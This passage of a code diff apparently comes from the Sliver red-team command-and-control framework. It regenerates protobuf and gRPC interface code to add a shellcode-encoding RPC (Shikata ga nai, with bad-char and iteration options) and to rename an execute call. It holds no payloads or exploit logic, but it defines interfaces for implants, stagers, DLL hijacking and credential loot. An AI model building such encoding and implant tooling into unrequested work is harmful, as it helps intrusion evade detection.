-	(*KillJob)(nil),              // 27: clientpb.KillJob
-	(*MTLSListenerReq)(nil),      // 28: clientpb.MTLSListenerReq
-	(*MTLSListener)(nil),         // 29: clientpb.MTLSListener
-	(*WGListenerReq)(nil),        // 30: clientpb.WGListenerReq
-	(*WGListener)(nil),           // 31: clientpb.WGListener
-	(*DNSListenerReq)(nil),       // 32: clientpb.DNSListenerReq
-	(*DNSListener)(nil),          // 33: clientpb.DNSListener
-	(*HTTPListenerReq)(nil),      // 34: clientpb.HTTPListenerReq
-	(*NamedPipesReq)(nil),        // 35: clientpb.NamedPipesReq
-	(*NamedPipes)(nil),           // 36: clientpb.NamedPipes
-	(*TCPPivotReq)(nil),          // 37: clientpb.TCPPivotReq
-	(*TCPPivot)(nil),             // 38: clientpb.TCPPivot
-	(*HTTPListener)(nil),         // 39: clientpb.HTTPListener
-	(*Sessions)(nil),             // 40: clientpb.Sessions
-	(*RenameReq)(nil),            // 41: clientpb.RenameReq
-	(*GenerateReq)(nil),          // 42: clientpb.GenerateReq
-	(*Generate)(nil),             // 43: clientpb.Generate
-	(*MSFReq)(nil),               // 44: clientpb.MSFReq
-	(*MSFRemoteReq)(nil),         // 45: clientpb.MSFRemoteReq
-	(*StagerListenerReq)(nil),    // 46: clientpb.StagerListenerReq
-	(*StagerListener)(nil),       // 47: clientpb.StagerListener
-	(*ShellcodeRDIReq)(nil),      // 48: clientpb.ShellcodeRDIReq
-	(*ShellcodeRDI)(nil),         // 49: clientpb.ShellcodeRDI
-	(*MsfStagerReq)(nil),         // 50: clientpb.MsfStagerReq
-	(*MsfStager)(nil),            // 51: clientpb.MsfStager
-	(*GetSystemReq)(nil),         // 52: clientpb.GetSystemReq
-	(*MigrateReq)(nil),           // 53: clientpb.MigrateReq
-	(*CreateTunnelReq)(nil),      // 54: clientpb.CreateTunnelReq
-	(*CreateTunnel)(nil),         // 55: clientpb.CreateTunnel
-	(*CloseTunnelReq)(nil),       // 56: clientpb.CloseTunnelReq
-	(*PivotGraphEntry)(nil),      // 57: clientpb.PivotGraphEntry
-	(*PivotGraph)(nil),           // 58: clientpb.PivotGraph
-	(*Client)(nil),               // 59: clientpb.Client
-	(*Event)(nil),                // 60: clientpb.Event
-	(*Operators)(nil),            // 61: clientpb.Operators
-	(*Operator)(nil),             // 62: clientpb.Operator
-	(*WebContent)(nil),           // 63: clientpb.WebContent
-	(*WebsiteAddContent)(nil),    // 64: clientpb.WebsiteAddContent
-	(*WebsiteRemoveContent)(nil), // 65: clientpb.WebsiteRemoveContent
-	(*Website)(nil),              // 66: clientpb.Website
-	(*Websites)(nil),             // 67: clientpb.Websites
-	(*WGClientConfig)(nil),       // 68: clientpb.WGClientConfig
-	(*Credential)(nil),           // 69: clientpb.Credential
-	(*Loot)(nil),                 // 70: clientpb.Loot
-	(*AllLoot)(nil),              // 71: clientpb.AllLoot
-	(*IOC)(nil),                  // 72: clientpb.IOC
-	(*ExtensionData)(nil),        // 73: clientpb.ExtensionData
-	(*Host)(nil),                 // 74: clientpb.Host
-	(*AllHosts)(nil),             // 75: clientpb.AllHosts
-	(*DllHijackReq)(nil),         // 76: clientpb.DllHijackReq
-	(*DllHijack)(nil),            // 77: clientpb.DllHijack
-	nil,                          // 78: clientpb.ImplantBuilds.ConfigsEntry
-	nil,                          // 79: clientpb.WebsiteAddContent.ContentsEntry
-	nil,                          // 80: clientpb.Website.ContentsEntry
-	nil,                          // 81: clientpb.Host.ExtensionDataEntry
-	(*commonpb.Request)(nil),     // 82: commonpb.Request
-	(*commonpb.Response)(nil),    // 83: commonpb.Response
-	(*commonpb.File)(nil),        // 84: commonpb.File
+	(ShellcodeEncoder)(0),        // 5: clientpb.ShellcodeEncoder
+	(*Version)(nil),              // 6: clientpb.Version
+	(*Session)(nil),              // 7: clientpb.Session
+	(*Beacon)(nil),               // 8: clientpb.Beacon
+	(*Beacons)(nil),              // 9: clientpb.Beacons
+	(*BeaconTask)(nil),           // 10: clientpb.BeaconTask
+	(*BeaconTasks)(nil),          // 11: clientpb.BeaconTasks
+	(*ImplantC2)(nil),            // 12: clientpb.ImplantC2
+	(*ImplantConfig)(nil),        // 13: clientpb.ImplantConfig
+	(*ImplantBuilds)(nil),        // 14: clientpb.ImplantBuilds
+	(*CompilerTarget)(nil),       // 15: clientpb.CompilerTarget
+	(*CrossCompiler)(nil),        // 16: clientpb.CrossCompiler
+	(*Compiler)(nil),             // 17: clientpb.Compiler
+	(*DeleteReq)(nil),            // 18: clientpb.DeleteReq
+	(*DNSCanary)(nil),            // 19: clientpb.DNSCanary
+	(*Canaries)(nil),             // 20: clientpb.Canaries
+	(*UniqueWGIP)(nil),           // 21: clientpb.UniqueWGIP
+	(*ImplantProfile)(nil),       // 22: clientpb.ImplantProfile
+	(*ImplantProfiles)(nil),      // 23: clientpb.ImplantProfiles
+	(*RegenerateReq)(nil),        // 24: clientpb.RegenerateReq
+	(*Job)(nil),                  // 25: clientpb.Job
+	(*Jobs)(nil),                 // 26: clientpb.Jobs
+	(*KillJobReq)(nil),           // 27: clientpb.KillJobReq
+	(*KillJob)(nil),              // 28: clientpb.KillJob
+	(*MTLSListenerReq)(nil),      // 29: clientpb.MTLSListenerReq
+	(*MTLSListener)(nil),         // 30: clientpb.MTLSListener
+	(*WGListenerReq)(nil),        // 31: clientpb.WGListenerReq
+	(*WGListener)(nil),           // 32: clientpb.WGListener
+	(*DNSListenerReq)(nil),       // 33: clientpb.DNSListenerReq
+	(*DNSListener)(nil),          // 34: clientpb.DNSListener
+	(*HTTPListenerReq)(nil),      // 35: clientpb.HTTPListenerReq
+	(*NamedPipesReq)(nil),        // 36: clientpb.NamedPipesReq
+	(*NamedPipes)(nil),           // 37: clientpb.NamedPipes
+	(*TCPPivotReq)(nil),          // 38: clientpb.TCPPivotReq
+	(*TCPPivot)(nil),             // 39: clientpb.TCPPivot
+	(*HTTPListener)(nil),         // 40: clientpb.HTTPListener
+	(*Sessions)(nil),             // 41: clientpb.Sessions
+	(*RenameReq)(nil),            // 42: clientpb.RenameReq
+	(*GenerateReq)(nil),          // 43: clientpb.GenerateReq
+	(*Generate)(nil),             // 44: clientpb.Generate
+	(*MSFReq)(nil),               // 45: clientpb.MSFReq
+	(*MSFRemoteReq)(nil),         // 46: clientpb.MSFRemoteReq
+	(*StagerListenerReq)(nil),    // 47: clientpb.StagerListenerReq
+	(*StagerListener)(nil),       // 48: clientpb.StagerListener
+	(*ShellcodeRDIReq)(nil),      // 49: clientpb.ShellcodeRDIReq
+	(*ShellcodeRDI)(nil),         // 50: clientpb.ShellcodeRDI
+	(*MsfStagerReq)(nil),         // 51: clientpb.MsfStagerReq
+	(*MsfStager)(nil),            // 52: clientpb.MsfStager
+	(*GetSystemReq)(nil),         // 53: clientpb.GetSystemReq
+	(*MigrateReq)(nil),           // 54: clientpb.MigrateReq
+	(*CreateTunnelReq)(nil),      // 55: clientpb.CreateTunnelReq
+	(*CreateTunnel)(nil),         // 56: clientpb.CreateTunnel
+	(*CloseTunnelReq)(nil),       // 57: clientpb.CloseTunnelReq
+	(*PivotGraphEntry)(nil),      // 58: clientpb.PivotGraphEntry
+	(*PivotGraph)(nil),           // 59: clientpb.PivotGraph
+	(*Client)(nil),               // 60: clientpb.Client
+	(*Event)(nil),                // 61: clientpb.Event
+	(*Operators)(nil),            // 62: clientpb.Operators
+	(*Operator)(nil),             // 63: clientpb.Operator
+	(*WebContent)(nil),           // 64: clientpb.WebContent
+	(*WebsiteAddContent)(nil),    // 65: clientpb.WebsiteAddContent
+	(*WebsiteRemoveContent)(nil), // 66: clientpb.WebsiteRemoveContent
+	(*Website)(nil),              // 67: clientpb.Website
+	(*Websites)(nil),             // 68: clientpb.Websites
+	(*WGClientConfig)(nil),       // 69: clientpb.WGClientConfig
+	(*Credential)(nil),           // 70: clientpb.Credential
+	(*Loot)(nil),                 // 71: clientpb.Loot
+	(*AllLoot)(nil),              // 72: clientpb.AllLoot
+	(*IOC)(nil),                  // 73: clientpb.IOC
+	(*ExtensionData)(nil),        // 74: clientpb.ExtensionData
+	(*Host)(nil),                 // 75: clientpb.Host
+	(*AllHosts)(nil),             // 76: clientpb.AllHosts
+	(*DllHijackReq)(nil),         // 77: clientpb.DllHijackReq
+	(*DllHijack)(nil),            // 78: clientpb.DllHijack
+	(*ShellcodeEncodeReq)(nil),   // 79: clientpb.ShellcodeEncodeReq
+	(*ShellcodeEncode)(nil),      // 80: clientpb.ShellcodeEncode
+	(*ShellcodeEncoderMap)(nil),  // 81: clientpb.ShellcodeEncoderMap
+	nil,                          // 82: clientpb.ImplantBuilds.ConfigsEntry
+	nil,                          // 83: clientpb.WebsiteAddContent.ContentsEntry
+	nil,                          // 84: clientpb.Website.ContentsEntry
+	nil,                          // 85: clientpb.Host.ExtensionDataEntry
+	nil,                          // 86: clientpb.ShellcodeEncoderMap.EncodersEntry
+	(*commonpb.Request)(nil),     // 87: commonpb.Request
+	(*commonpb.Response)(nil),    // 88: commonpb.Response
+	(*commonpb.File)(nil),        // 89: commonpb.File
 }
 var file_clientpb_client_proto_depIdxs = []int32{
-	7,  // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon
-	9,  // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask
-	11, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
+	8,  // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon
+	10, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask
+	12, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
 	0,  // 3: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
-	78, // 4: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
+	82, // 4: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
 	0,  // 5: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
-	14, // 6: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
-	15, // 7: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
-	14, // 8: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget
-	18, // 9: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary
-	12, // 10: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
-	21, // 11: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
-	24, // 12: clientpb.Jobs.Active:type_name -> clientpb.Job
-	82, // 13: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
-	83, // 14: clientpb.NamedPipes.Response:type_name -> commonpb.Response
-	82, // 15: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
-	83, // 16: clientpb.TCPPivot.Response:type_name -> commonpb.Response
-	6,  // 17: clientpb.Sessions.Sessions:type_name -> clientpb.Session
-	12, // 18: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
-	84, // 19: clientpb.Generate.File:type_name -> commonpb.File
-	82, // 20: clientpb.MSFReq.Request:type_name -> commonpb.Request
-	82, // 21: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
+	15, // 6: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
+	16, // 7: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
+	15, // 8: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget
+	19, // 9: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary
+	13, // 10: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
+	22, // 11: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
+	25, // 12: clientpb.Jobs.Active:type_name -> clientpb.Job
+	87, // 13: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
+	88, // 14: clientpb.NamedPipes.Response:type_name -> commonpb.Response
+	87, // 15: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
+	88, // 16: clientpb.TCPPivot.Response:type_name -> commonpb.Response
+	7,  // 17: clientpb.Sessions.Sessions:type_name -> clientpb.Session
+	13, // 18: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
+	89, // 19: clientpb.Generate.File:type_name -> commonpb.File
+	87, // 20: clientpb.MSFReq.Request:type_name -> commonpb.Request
+	87, // 21: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
 	1,  // 22: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
 	1,  // 23: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
-	84, // 24: clientpb.MsfStager.File:type_name -> commonpb.File
-	12, // 25: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
-	82, // 26: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
-	12, // 27: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
-	82, // 28: clientpb.MigrateReq.Request:type_name -> commonpb.Request
-	82, // 29: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
-	82, // 30: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
-	6,  // 31: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session
-	57, // 32: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry
-	57, // 33: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry
-	62, // 34: clientpb.Client.Operator:type_name -> clientpb.Operator
-	6,  // 35: clientpb.Event.Session:type_name -> clientpb.Session
-	24, // 36: clientpb.Event.Job:type_name -> clientpb.Job
-	59, // 37: clientpb.Event.Client:type_name -> clientpb.Client
-	62, // 38: clientpb.Operators.Operators:type_name -> clientpb.Operator
-	79, // 39: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
-	80, // 40: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
-	66, // 41: clientpb.Websites.Websites:type_name -> clientpb.Website
+	89, // 24: clientpb.MsfStager.File:type_name -> commonpb.File
+	13, // 25: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
+	87, // 26: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
+	13, // 27: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
+	87, // 28: clientpb.MigrateReq.Request:type_name -> commonpb.Request
+	87, // 29: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
+	87, // 30: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
+	7,  // 31: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session
+	58, // 32: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry
+	58, // 33: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry
+	63, // 34: clientpb.Client.Operator:type_name -> clientpb.Operator
+	7,  // 35: clientpb.Event.Session:type_name -> clientpb.Session
+	25, // 36: clientpb.Event.Job:type_name -> clientpb.Job
+	60, // 37: clientpb.Event.Client:type_name -> clientpb.Client
+	63, // 38: clientpb.Operators.Operators:type_name -> clientpb.Operator
+	83, // 39: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
+	84, // 40: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
+	67, // 41: clientpb.Websites.Websites:type_name -> clientpb.Website
 	2,  // 42: clientpb.Loot.Type:type_name -> clientpb.LootType
 	3,  // 43: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
-	69, // 44: clientpb.Loot.Credential:type_name -> clientpb.Credential
+	70, // 44: clientpb.Loot.Credential:type_name -> clientpb.Credential
 	4,  // 45: clientpb.Loot.FileType:type_name -> clientpb.FileType
-	84, // 46: clientpb.Loot.File:type_name -> commonpb.File
-	70, // 47: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
-	72, // 48: clientpb.Host.IOCs:type_name -> clientpb.IOC
-	81, // 49: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
-	74, // 50: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
-	82, // 51: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
-	83, // 52: clientpb.DllHijack.Response:type_name -> commonpb.Response
-	12, // 53: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
-	63, // 54: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
-	63, // 55: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
-	73, // 56: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
-	57, // [57:57] is the sub-list for method output_type
-	57, // [57:57] is the sub-list for method input_type
-	57, // [57:57] is the sub-list for extension type_name
-	57, // [57:57] is the sub-list for extension extendee
-	0,  // [0:57] is the sub-list for field type_name
+	89, // 46: clientpb.Loot.File:type_name -> commonpb.File
+	71, // 47: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
+	73, // 48: clientpb.Host.IOCs:type_name -> clientpb.IOC
+	85, // 49: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
+	75, // 50: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
+	87, // 51: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
+	88, // 52: clientpb.DllHijack.Response:type_name -> commonpb.Response
+	5,  // 53: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder
+	87, // 54: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request
+	88, // 55: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response
+	86, // 56: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry
+	13, // 57: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
+	64, // 58: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
+	64, // 59: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
+	74, // 60: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
+	5,  // 61: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder
+	62, // [62:62] is the sub-list for method output_type
+	62, // [62:62] is the sub-list for method input_type
+	62, // [62:62] is the sub-list for extension type_name
+	62, // [62:62] is the sub-list for extension extendee
+	0,  // [0:62] is the sub-list for field type_name
 }
 
 func init() { file_clientpb_client_proto_init() }
@@ -7267,14 +7544,50 @@ func file_clientpb_client_proto_init() {
 				return nil
 			}
 		}
+		file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ShellcodeEncodeReq); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ShellcodeEncode); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ShellcodeEncoderMap); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
 	}
 	type x struct{}
 	out := protoimpl.TypeBuilder{
 		File: protoimpl.DescBuilder{
 			GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
 			RawDescriptor: file_clientpb_client_proto_rawDesc,
-			NumEnums:      5,
-			NumMessages:   77,
+			NumEnums:      6,
+			NumMessages:   81,
 			NumExtensions: 0,
 			NumServices:   0,
 		},

protobuf/clientpb/client.proto

@@ -618,3 +618,29 @@ message DllHijackReq {
 message DllHijack {
   commonpb.Response Response = 9;
 }
+
+
+// [ Shellcode ] ----------------------------------------
+enum ShellcodeEncoder {
+  SHIKATA_GA_NAI = 0;
+}
+
+message ShellcodeEncodeReq {
+  ShellcodeEncoder Encoder = 1;
+  string Architecture = 2;
+  uint32 Iterations = 3;
+  bytes BadChars = 4;
+
+  bytes Data = 8;
+  commonpb.Request Request = 9;
+}
+
+message ShellcodeEncode {
+
+  bytes Data = 8;
+  commonpb.Response Response = 9;
+}
+
+message ShellcodeEncoderMap {
+  map<string, ShellcodeEncoder> Encoders = 1;
+}

protobuf/commonpb/common.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.28.0
-// 	protoc        v3.21.4
+// 	protoc-gen-go v1.26.0
+// 	protoc        v3.21.5
 // source: commonpb/common.proto
 
 package commonpb

protobuf/dnspb/dns.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.28.0
-// 	protoc        v3.21.4
+// 	protoc-gen-go v1.26.0
+// 	protoc        v3.21.5
 // source: dnspb/dns.proto
 
 package dnspb

protobuf/rpcpb/services.proto

@@ -77,6 +77,8 @@ service SliverRPC {
     rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager);
     rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI);
     rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler);
+    rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq) returns (clientpb.ShellcodeEncode);
+    rpc ShellcodeEncoderMap(commonpb.Empty) returns (clientpb.ShellcodeEncoderMap);
 
     // *** Websites ***
     rpc Websites(commonpb.Empty) returns (clientpb.Websites);
@@ -111,7 +113,7 @@ service SliverRPC {
     rpc ExecuteAssembly(sliverpb.ExecuteAssemblyReq) returns (sliverpb.ExecuteAssembly);
     rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
     rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
-    rpc ExecuteToken(sliverpb.ExecuteTokenReq) returns (sliverpb.Execute);
+    rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
     rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
     rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
     rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);

protobuf/rpcpb/services_grpc.pb.go

@@ -1,8 +1,4 @@
 // Code generated by protoc-gen-go-grpc. DO NOT EDIT.
-// versions:
-// - protoc-gen-go-grpc v1.2.0
-// - protoc             v3.21.4
-// source: rpcpb/services.proto
 
 package rpcpb
 
@@ -82,6 +78,8 @@ type SliverRPCClient interface {
 	MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error)
 	ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error)
 	GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error)
+	ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error)
+	ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error)
 	// *** Websites ***
 	Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error)
 	Website(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*clientpb.Website, error)
@@ -114,7 +112,7 @@ type SliverRPCClient interface {
 	ExecuteAssembly(ctx context.Context, in *sliverpb.ExecuteAssemblyReq, opts ...grpc.CallOption) (*sliverpb.ExecuteAssembly, error)
 	Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
 	Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
-	ExecuteToken(ctx context.Context, in *sliverpb.ExecuteTokenReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
+	ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
 	Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
 	SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
 	Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
@@ -583,6 +581,24 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o
 	return out, nil
 }
 
+func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) {
+	out := new(clientpb.ShellcodeEncode)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoder", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
+func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) {
+	out := new(clientpb.ShellcodeEncoderMap)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoderMap", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error) {
 	out := new(clientpb.Websites)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Websites", in, out, opts...)
@@ -853,9 +869,9 @@ func (c *sliverRPCClient) Execute(ctx context.Context, in *sliverpb.ExecuteReq,
 	return out, nil
 }
 
-func (c *sliverRPCClient) ExecuteToken(ctx context.Context, in *sliverpb.ExecuteTokenReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) {
+func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) {
 	out := new(sliverpb.Execute)
-	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteToken", in, out, opts...)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteWindows", in, out, opts...)
 	if err != nil {
 		return nil, err
 	}
@@ -1395,6 +1411,8 @@ type SliverRPCServer interface {
 	MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error)
 	ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error)
 	GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error)
+	ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error)
+	ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error)
 	// *** Websites ***
 	Websites(context.Context, *commonpb.Empty) (*clientpb.Websites, error)
 	Website(context.Context, *clientpb.Website) (*clientpb.Website, error)
@@ -1427,7 +1445,7 @@ type SliverRPCServer interface {
 	ExecuteAssembly(context.Context, *sliverpb.ExecuteAssemblyReq) (*sliverpb.ExecuteAssembly, error)
 	Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
 	Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
-	ExecuteToken(context.Context, *sliverpb.ExecuteTokenReq) (*sliverpb.Execute, error)
+	ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
 	Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
 	SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
 	Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
@@ -1623,6 +1641,12 @@ func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.Shel
 func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented")
 }
+func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented")
+}
+func (UnimplementedSliverRPCServer) ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoderMap not implemented")
+}
 func (UnimplementedSliverRPCServer) Websites(context.Context, *commonpb.Empty) (*clientpb.Websites, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Websites not implemented")
 }
@@ -1713,8 +1737,8 @@ func (UnimplementedSliverRPCServer) Migrate(context.Context, *clientpb.MigrateRe
 func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Execute not implemented")
 }
-func (UnimplementedSliverRPCServer) ExecuteToken(context.Context, *sliverpb.ExecuteTokenReq) (*sliverpb.Execute, error) {
-	return nil, status.Errorf(codes.Unimplemented, "method ExecuteToken not implemented")
+func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
